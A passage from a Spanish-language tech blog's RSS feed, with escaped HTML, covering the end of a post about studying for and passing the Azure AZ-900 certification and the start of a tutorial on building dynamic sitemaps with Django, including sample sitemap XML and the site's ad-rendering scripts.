rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;microsoft Learn&lt;/a&gt;&#xA; es el recurso por defecto,  pues nadie mejor que microsoft para para empezar a leer las características básicas de la nube de Azure. Sin embargo, al ser una solución basada únicamente en texto puede llegar a ser algo tediosa. Además, la gran cantidad de información puede hacer que se sientan perdidas aquellas personas que tienen su primer acercamiento con las nuevas tecnologías.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/azure-az-900-certification-exam-my-experience/images/plataforma-microsoft-learn.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/software-architecture/azure-az-900-certification-exam-my-experience/images/plataforma-microsoft-learn.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Plataforma de microsoft Learn&#34; width=&#34;951&#34; height=&#34;914&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Plataforma de microsoft learning&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;La plataforma de e-learning también está disponible en español, solo selecciona el idioma.&lt;/p&gt;&#xA;&lt;p&gt;Lee más adelante para detalles del contenido de esta plataforma.&lt;/p&gt;&#xA;&lt;h3 id=&#34;aprenderbigdata&#34;&gt;Aprenderbigdata&lt;/h3&gt;&#xA;&lt;p&gt;Aprenderbigdata tiene una &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://aprenderbigdata.com/az-900-azure-fundamentals/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;guia de examen en 5 archivos PDF&lt;/a&gt;&#xA; bastante completa con preguntas en español, que puedes usar a manera de cuestionario de repaso, se encuentra casi al final de la página.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/azure-az-900-certification-exam-my-experience/images/aprender-big-data.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/software-architecture/azure-az-900-certification-exam-my-experience/images/aprender-big-data.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Aprender big data&#34; width=&#34;1194&#34; height=&#34;666&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;sitio-web-de-adam-marczac&#34;&gt;Sitio web de Adam Marczac&lt;/h3&gt;&#xA;&lt;p&gt;El &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://marczak.io/az-900/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;sitio web de Marczac&lt;/a&gt;&#xA; tiene un repaso completo del contenido de la certificación AZ-900, organizado en secciones, junto con un formulario interactivo en el que puedes probar tus conocimientos al momento, además de enlaces a sus videos de youtube. Yo lo recomiendo muchísimo.&lt;/p&gt;&#xA;&lt;div style=&#34;position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;&#34;&gt;&#xA;      &lt;iframe allow=&#34;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen&#34; loading=&#34;eager&#34; referrerpolicy=&#34;strict-origin-when-cross-origin&#34; src=&#34;https://www.youtube.com/embed/NPEsD6n9A_I?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0&#34; style=&#34;position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;&#34; title=&#34;YouTube video&#34;&gt;&lt;/iframe&gt;&#xA;    &lt;/div&gt;&#xA;&#xA;&lt;h3 id=&#34;john-savills-technical-training&#34;&gt;John Savill&amp;rsquo;s Technical Training&lt;/h3&gt;&#xA;&lt;p&gt;Entre los recursos que usé para estudiar quiero destacar el siguiente video de John Savill, pues me pareció &lt;strong&gt;el más completo y mejor explicado&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;div style=&#34;position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;&#34;&gt;&#xA;      &lt;iframe allow=&#34;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen&#34; loading=&#34;eager&#34; referrerpolicy=&#34;strict-origin-when-cross-origin&#34; src=&#34;https://www.youtube.com/embed/tQp1YkB2Tgs?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0&#34; style=&#34;position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;&#34; title=&#34;YouTube video&#34;&gt;&lt;/iframe&gt;&#xA;    &lt;/div&gt;&#xA;&#xA;&lt;p&gt;Es un repaso de 3 horas en inglés, en el que te explican lo básico de la nube de Azure, de una manera más estructurada y visual. Como un plano gigante de la nube, en el que van explicándote cada parte y como se relaciona con las otras.&lt;/p&gt;&#xA;&lt;h2 id=&#34;cuanto-cuesta-la-certificacion-az-900-es-gratis&#34;&gt;¿Cuánto cuesta la certificación AZ-900? ¿Es gratis?&lt;/h2&gt;&#xA;&lt;p&gt;La certificación cuesta &lt;strong&gt;alrededor de $90 USD directamente con microsoft&lt;/strong&gt;, pero yo la he obtenido de manera gratuita como parte de un reto de certificación de la &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://platzi.com/r/eduardo-zepeda&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;plataforma de aprendizaje de Platzi&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;Tengo entendido que si te registras en la plataforma de e-learning Microsoft Learn, suelen regalar cupones de vez en cuando.&lt;/p&gt;&#xA;&lt;p&gt;Con tantos cupones y otras opciones gratuitas, &lt;strong&gt;yo no te recomiendo que desembolses el dinero de tu bolsillo&lt;/strong&gt; sino que esperes a que aparezca alguna oportunidad de obtenerla de manera gratuita o mucho más barata.&lt;/p&gt;&#xA;&lt;h2 id=&#34;proceso-de-certificacion-gratuita-az-900-por-parte-de-platzi&#34;&gt;Proceso de certificación gratuita Az-900 por parte de Platzi&lt;/h2&gt;&#xA;&lt;p&gt;Hace un par de meses Platzi ofrecía un reto en el que te obsequian la oportunidad de &lt;strong&gt;certificarte de manera completamente gratuita&lt;/strong&gt;, a través de su plataforma, con dos requisitos: aprobar una serie de cursos en su plataforma, con sus respectivos exámenes, y completar un laboratorio de prácticas de Microsoft Learn.&lt;/p&gt;&#xA;&lt;h3 id=&#34;cursos-de-platzi-requeridos-para-el-az-900&#34;&gt;Cursos de Platzi requeridos para el AZ-900&lt;/h3&gt;&#xA;&lt;p&gt;El proceso consiste en terminar los siguientes 4 cursos:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Fundamentos de Ingeniería de Software&lt;/li&gt;&#xA;&lt;li&gt;Curso de Introducción a la Terminal y Línea de Comandos&lt;/li&gt;&#xA;&lt;li&gt;Curso de Administración de Servidores Linux&lt;/li&gt;&#xA;&lt;li&gt;Curso de Introducción a la Nube con Azure&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;En general los dos primeros son bastantes sencillos, sobre todo si ya tienes experiencia usando los &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/linux/comandos-basicos-de-linux-grep-ls-cd-history-cat-cp-rm-scp/&#34;&gt;comandos básicos de la linea de comandos&lt;/a&gt;&#xA;, los últimos dos sí requieren algo de experiencia o mucha práctica de tu parte para aprobarlos.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/azure-az-900-certification-exam-my-experience/images/administracion-servidores-linux.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/software-architecture/azure-az-900-certification-exam-my-experience/images/administracion-servidores-linux.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Curso de Platzi de administración de servidores Linux&#34; width=&#34;1283&#34; height=&#34;801&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Curso de administración de servidores Linux&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;practicas-de-microsoft-learn&#34;&gt;Prácticas de Microsoft Learn&lt;/h3&gt;&#xA;&lt;p&gt;El laboratorio de prácticas son una serie de 20 cursos en los que cada curso se subidivide en teoría y práctica. En la parte teórica te muestran los fundamentos del tema de manera escrita, mientras que la parte práctica consiste en un pequeño formulario de 3-4 preguntas en el que se evalua el contenido anterior, pero a manera de aplicación práctica.&lt;/p&gt;&#xA;&lt;p&gt;Por ejemplo: &amp;ldquo;Una empresa quiere implementar una casilla de votación en la que la seguridad sea máxima, ¿qué servicio de Microsoft Azure le recomendarías usar&amp;rdquo;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;insignia-de-azure-fundamentals&#34;&gt;Insignia de Azure Fundamentals&lt;/h2&gt;&#xA;&lt;p&gt;Si apruebas el examen, tendrás acceso a la insignia de Microsoft AZ-900 Fundamentals, la cual puedes registrar en Credly, o colocar directamente su badge en un sitio web, tu perfil de Linkedin u otro medio.&lt;/p&gt;&#xA;&lt;p&gt;Esta es la mía, alojada en credly.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/es/software-architecture/examen-de-certificacion-azure-az-900-mi-experiencia/images%20microsoft-certified-azure-fundamentals.png&#34;&gt;&#xA;&lt;figure&gt;&lt;a href=&#34;https://www.credly.com/badges/17608a52-2cb7-4268-a907-613459559911/public_url&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/es/software-architecture/examen-de-certificacion-azure-az-900-mi-experiencia/images%20microsoft-certified-azure-fundamentals.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Insignia de certificación Azure AZ-900 de Eduardo Zepeda&#34;&gt;&lt;/a&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;El sábado 6 de agosto del 2022 presenté  y aprobé mi examen para la certificación Microsoft Azure AZ-900.&lt;/p&gt;&#xA;&lt;h2 id=&#34;en-que-consiste-la-certificacion-az-900&#34;&gt;¿En que consiste la certificación AZ-900?&lt;/h2&gt;&#xA;&lt;p&gt;La certificación AZ-900 Fundamentals garantiza que una persona conoce todos los servicios básicos que tiene la nube de microsoft, Azure, y sus aplicaciones empresariales.&lt;/p&gt;&#xA;&lt;p&gt;Para fines prácticos, te prepara para que sirvas como un intermediario que le recomienda servicios de Microsoft Azure a una empresa o tercero, de acuerdo a sus necesidades. O, que como profesional del software, puedas echar mano de todos los servicios que ofrece Azure. Suele leerse como algo sencillo pero Azure cuenta con una gran cantidad de servicios.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>¿Cómo Crear un Sitemap Dinámico con Django?</title>
      <link>https://coffeebytes.dev/es/django/sitemap-dinamico-con-django/</link>
      <pubDate>Wed, 20 Jul 2022 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/django/sitemap-dinamico-con-django/</guid>
      
      <category>django</category>
      
      <category>seo</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Un sitemap es un archivo de tipo xml que funciona como un mapa para navegar tu sitio. De ahí el nombre; Site (sitio) map (mapa). Los motores de búsqueda, como google, bing, yahoo y otros, usan el sitemap de un sitio como punto de partida para analizar su contenido e incluirlo en sus resultados de búsqueda.&lt;/p&gt;&#xA;&lt;p&gt;Un sitemap bien estructurado es &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/seo/mis-errores-de-optimizacion-en-el-seo-tecnico-al-migrar-de-wordpress/&#34;&gt;crucial en SEO y la presencia de errores puede disminuir radicalmente las vistas de tu sitio web&lt;/a&gt;&#xA;, como me sucedió a mi.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Django 5 salió y todos los libros anteriores se volvieron obsoletos porque están usando versiones antiguas de django en sus ejemplos, este no lo es y cubre todas las características básicas de django que hacen de este framework una de las apuestas más estables, probadas en batalla y seguras a la hora de diseñar una aplicación web.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Django for Beginners\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1751669153/coffee-bytes/django-for-begginers_300_xqbdi2.webp\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3Qx2pli\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de Django for Beginners y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Dónde aprender Django Framework de manera profunda?\&#34;},{\&#34;description\&#34;:\&#34;Conoce la que es considerada como la Biblia del SEO, cubre prácticamente todo respecto al SEO.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro The Art of SEO\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1744682069/coffee-bytes/the-art-of-seo-book_mohlar.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/4lrKniV\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio\&#34;,\&#34;title\&#34;:\&#34;¿Quieres especializarte en SEO pero no sabes donde?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;estructura-de-un-sitemap&#34;&gt;Estructura de un sitemap&lt;/h2&gt;&#xA;&lt;p&gt;Un sitemap es un archivo xml, que cuenta con un elemento llamado urlset, el cual es una colección de elementos url. Cada elemento url tiene una locación, en este caso su dirección url, una frecuencia de cambio, una prioridad y otros elementos opcionales, tales como imágenes.&lt;/p&gt;&#xA;&lt;p&gt;Un sitemap es una &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/seo/mi-guia-de-seo-tecnico-basico-solo-para-desarrolladores-web/&#34;&gt;parte crucial, pero no la única, del SEO técnico&lt;/a&gt;&#xA;, todos los sitios web deberían tener uno.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-xml&#34; data-lang=&#34;xml&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;UTF-8&amp;#34;?&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;urlset&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;xmlns=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;http://www.sitemaps.org/schemas/sitemap/0.9&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;xmlns:xhtml=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;http://www.w3.org/1999/xhtml&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;url&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;loc&amp;gt;&lt;/span&gt;http://example.com/objecto/1&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/loc&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;lastmod&amp;gt;&lt;/span&gt;1970-01-01&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/lastmod&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;changefreq&amp;gt;&lt;/span&gt;monthly&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/changefreq&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;priority&amp;gt;&lt;/span&gt;0.8&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/priority&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/url&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/urlset&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;sitemaps-divididos&#34;&gt;Sitemaps divididos&lt;/h3&gt;&#xA;&lt;p&gt;Cuando un sitemap es muy extenso es posible dividirlo en sitemaps más pequeños, usando un elemento &lt;em&gt;sitemapindex&lt;/em&gt; y sub elementos &lt;em&gt;sitemap&lt;/em&gt;, cada uno con su respectiva ubicación.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-xml&#34; data-lang=&#34;xml&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;UTF-8&amp;#34;?&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;sitemapindex&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;xmlns=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;http://www.sitemaps.org/schemas/sitemap/0.9&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;sitemap&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;loc&amp;gt;&lt;/span&gt;http://www.example.com/sitemap1.xml&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/loc&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/sitemap&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;sitemap&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;loc&amp;gt;&lt;/span&gt;http://www.example.com/sitemap2.xml&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/loc&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/sitemap&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/sitemapindex&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;framework-de-sitemaps-en-django&#34;&gt;Framework de sitemaps en Django&lt;/h2&gt;&#xA;&lt;p&gt;Django ya cuenta con un framework interno para la generación de sitemaps, &lt;em&gt;django.contrib.sitemaps&lt;/em&gt;, que nos permite crear sitemaps de manera dinámica en conjunto con &lt;em&gt;django.contrib.sites&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;django.contrib.sites&lt;/em&gt; es un framework incluido en django que te permite manejar diferentes sitios web con una misma aplicación de django.&lt;/p&gt;&#xA;&lt;p&gt;Para usar el framework de sitemaps, necesitamos agregar los dos paquetes a la variable INSTALLED_APPS y además agregar el identificador del sitio.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div 